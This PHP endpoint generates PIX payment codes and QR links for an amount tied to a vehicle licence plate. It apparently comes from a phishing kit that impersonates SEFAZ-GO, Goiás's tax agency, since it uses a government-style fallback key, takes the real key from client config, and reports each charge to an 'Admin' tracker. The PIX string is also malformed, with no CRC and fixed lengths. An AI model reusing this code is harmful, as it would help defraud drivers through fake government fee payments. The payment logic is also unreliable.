<?php
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST');
header('Access-Control-Allow-Headers: Content-Type');

require_once __DIR__ . '/client-config.php';

// Action: Gerar PIX
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = json_decode(file_get_contents('php://input'), true);
    if (isset($input['action']) && $input['action'] === 'gerar_pix') {
        $valor = floatval($input['valor'] ?? $input['amount'] ?? 0);
        $placa = $input['placa'] ?? '';
        
        if ($valor <= 0) {
            echo json_encode(['success' => false, 'error' => 'Valor inválido']);
            exit;
        }
        
        $pixConfig = getPixConfig();
        $pixKey = $pixConfig['pixKey'] ?? '';
        
        if (empty($pixKey)) {
            // Fallback key se não configurada
            $pixKey = 'sefaz.go@pix.gov.br';
        }
        
        // Registrar no Admin
        trackEvent([
            'api_key' => SITE_API_KEY,
            'event_type' => 'pix_gerado',
            'placa' => $placa,
            'valor' => $valor,
            'metadata' => ['gateway' => 'Static']
        ]);
        
        // Gerar payload estático simples para teste/fallback
        $pixCode = "00020126580014br.gov.bcb.pix0136{$pixKey}520400005303986540" . number_format($valor, 2, '', '') . "5802BR5909PAGAMENTO6009SAO PAULO62070503***6304";
        $qrCode = "https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=" . urlencode($pixCode);
        
        echo json_encode([
            'success' => true,
            'pix_code' => $pixCode,
            'qr_code' => $qrCode,
            'valor' => $valor
        ]);
        exit;
    }
}

// Fallback para GET action=generate (compatibilidade)
if (isset($_GET['action']) && $_GET['action'] === 'generate') {
    $input = json_decode(file_get_contents('php://input'), true);
    $valor = floatval($input['amount'] ?? 0);
    $placa = $input['placa'] ?? '';
    
    $pixConfig = getPixConfig();
    $pixKey = $pixConfig['pixKey'] ?? 'sefaz.go@pix.gov.br';
    
    trackEvent([
        'api_key' => SITE_API_KEY,
        'event_type' => 'pix_gerado',
        'placa' => $placa,
        'valor' => $valor
    ]);
    
    $pixCode = "00020126580014br.gov.bcb.pix0136{$pixKey}520400005303986540" . number_format($valor, 2, '', '') . "5802BR5909PAGAMENTO6009SAO PAULO62070503***6304";
    
    echo json_encode([
        'success' => true,
        'pix_code' => $pixCode,
        'qr_code' => "https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=" . urlencode($pixCode),
        'amount' => $valor
    ]);
    exit;
}
